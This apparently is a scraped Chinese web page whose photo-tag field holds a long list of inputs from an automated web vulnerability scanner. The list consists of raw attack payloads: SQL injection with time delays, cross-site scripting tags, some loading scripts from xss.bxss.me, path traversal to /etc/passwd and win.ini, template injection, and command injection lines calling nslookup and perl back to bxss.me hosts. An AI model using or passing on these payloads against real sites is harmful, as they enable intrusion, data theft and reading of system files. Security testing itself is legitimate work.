×
照片标签：
- 1
- 1'"
- \
- 1 %2527%2522
- @@cC4w1
- JyI=
- '"
- ''""
- 5GTd1aGs
- response.write(9898781*9768078)
- '+response.write(9898781*9768078)+'
- "+response.write(9898781*9768078)+"
- ../../../../../../../../../../etc/passwd
- ../../../../../../../../../../windows/win.ini
- ../1
- 1<esi:include src="http://bxss.me/rpb.png"/>
- echo tsvwme$()\ svlbov\nz^xyu||a #' &echo tsvwme$()\ svlbov\nz^xyu||a #|" &echo tsvwme$()\ svlbov\nz^xyu||a #
- 12345'"\'\")
- &echo vzuoey$()\ tellvh\nz^xyu||a #' &echo vzuoey$()\ tellvh\nz^xyu||a #|" &echo vzuoey$()\ tellvh\nz^xyu||a #
- |echo znucqs$()\ zuckjh\nz^xyu||a #' |echo znucqs$()\ zuckjh\nz^xyu||a #|" |echo znucqs$()\ zuckjh\nz^xyu||a #
- (nslookup hityoznmiobvi6fbb7.bxss.me||perl -e "gethostbyname('hityoznmiobvi6fbb7.bxss.me')")
- $(nslookup hitvkpsfmxzzp8a27c.bxss.me||perl -e "gethostbyname('hitvkpsfmxzzp8a27c.bxss.me')")
- ${10000263+10000429}
- &(nslookup hitryagnxdkvu2ca1f.bxss.me||perl -e "gethostbyname('hitryagnxdkvu2ca1f.bxss.me')")&'\"`0&(nslookup hitryagnxdkvu2ca1f.bxss.me||perl -e "gethostbyname('hitryagnxdkvu2ca1f.bxss.me')")&`'
- |(nslookup hitidevpqppoy9e1d2.bxss.me||perl -e "gethostbyname('hitidevpqppoy9e1d2.bxss.me')")
- `(nslookup hitqyevqiispt5e36c.bxss.me||perl -e "gethostbyname('hitqyevqiispt5e36c.bxss.me')")`
- 1&n970853=v959093
- )
- !(()&&!|*|*|
- '"()
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- ^(#$!@#$)(()))******
- 1some_inexistent_file_with_long_name .jpg
- Http://bxss.me/t/fit.txt
- http://bxss.me/t/fit.txt?.jpg
- bxss.me
- '.gethostbyname(lc('hitwk'.'cuggcwzl3dfbb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(68).chr(106).chr(77).'
- '
- "
- ${@print(md5(31337))}
- ${@print(md5(31337))}\
- HttP://bxss.me/t/xss.html?%00
- bxss.me/t/xss.html?%00
- "+"A".concat(70-3).concat(22*4).concat(103).concat(73).concat(111).concat(85)+(require"socket" Socket.gethostbyname("hitca"+"ipbbqpus2af22.bxss.me.")[3].to_s)+"
- '.print(md5(31337)).'
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- '+'A'.concat(70-3).concat(22*4).concat(113).concat(69).concat(98).concat(68)+(require'socket' Socket.gethostbyname('hityn'+'rktbaeee8f96e.bxss.me.')[3].to_s)+'
- ".gethostbyname(lc("hitol"."qwzvddteab904.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(86).chr(114).chr(81)."
- /xfs.bxss.me
- bibs
- bibs/.
- <!--
- 1'"()&%<acx><ScRiPt >4Jxe(9560)</ScRiPt>
- '"()&%<acx><ScRiPt >4Jxe(9012)</ScRiPt>
- 19373130
- acu8113＜s1﹥s2ʺs3ʹuca8113
- acux2682z1z2abcxuca2682
- {{49610*49723}}
- acu4323＜s1﹥s2ʺs3ʹuca4323
- acux10178z1z2abcxuca10178
- {{50338*50161}}
- acu9764＜s1﹥s2ʺs3ʹuca9764
- acux5811z1z2abcxuca5811
- CWS000x=1N@EI)@ HiP"DF G&َ7܂rX
- {{49926*49734}}
- 1"onmouseover=4Jxe(9001)"
- 1" oRs9=4Jxe([!+!]) FbM="
- 1\u0022onmouseover=4Jxe(9837)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%34%4A%78%65%28%39%39%38%30%29%22
- "onmouseover=4Jxe(9325)//
- 1"sTYLe='acu:Expre/**/SSion(4Jxe(9522))'bad="
- 1"><script>4Jxe(9028)</script>
- 1<ScRiPt >4Jxe(9202)</ScRiPt>
- 1<WGI9WP>6929S[!+!]</WGI9WP>
- 1<script>4Jxe(9956)</script>
- 1<ScR<ScRiPt>IpT>4Jxe(9355)</sCr<ScRiPt>IpT>
- 1<ScRiPt >4Jxe(9259)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9167></ScRiPt>
- 1< ScRiPt >4Jxe(9208)</ScRiPt>
- 1<video><source onerror="javascript:4Jxe(9192)">
- 1<svg onload=4Jxe(9541)
- 1<isindex type=image src=1 onerror=4Jxe(9625)>
- 1<iframe src='data:text/html
- 1<body onload=4Jxe(9194)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=4Jxe(9031)>
- 1<img src=xyz OnErRor=4Jxe(9697)>
- 1<img/src=">" onerror=alert(9254)>
- %31%3C%53%63%52%69%50%74%20%3E%34%4A%78%65%289427%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\4Jxe(9780)\u003C/sCripT\u003E
- 1<
- <img acu onmouseover=4Jxe(9638) //>
- 1<input autofocus onfocus=4Jxe(9203)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- [url=http://xss.bxss.me][/url]
- 1<img<!-- --> src=x onerror=alert(9174)
- 1}body{acu:Expre/**/SSion(4Jxe(9964))}
- 1<% contenteditable onresize=4Jxe(9848)>
- 1YnCWm <ScRiPt >4Jxe(9917)</ScRiPt>
- 1<WE2LDO>HO68N[!+!]</WE2LDO>
- 1<ifRAme sRc=9594.com></IfRamE>
- 1<c4CNGV x=9107>
- 1<img sRc='http://attacker-9636/log.php?
- 1<bX62dk<
- kMWI7sGz
- -1 OR 2+192-192-1=0+0+0+1 --
- -1 OR 2+699-699-1=0+0+0+1
- -1' OR 2+55-55-1=0+0+0+1 --
- -1' OR 2+490-490-1=0+0+0+1 or 't1BxBSFm'='
- -1" OR 2+666-666-1=0+0+0+1 --
- 91'
- if(now()=sysdate()
- sleep(12)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- (select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/
- -1
- -1)
- 1 waitfor delay '0:0:12' --
- ptnVQ2Yv'
- -5 OR 521=(SELECT 521 FROM PG_SLEEP(12))--
- -5) OR 570=(SELECT 570 FROM PG_SLEEP(12))--
- -1)) OR 767=(SELECT 767 FROM PG_SLEEP(12))--
- LzhUutE8' OR 464=(SELECT 464 FROM PG_SLEEP(12))--
- 9DiRpQi8') OR 166=(SELECT 166 FROM PG_SLEEP(12))--
- tDviGjit')) OR 452=(SELECT 452 FROM PG_SLEEP(12))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 12)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 12)||'
- '||(select 1 from (select pg_sleep(12))x)||'
- ''||(select 1 from (select pg_sleep(12))x)||''
微信扫一扫, 保存到手机
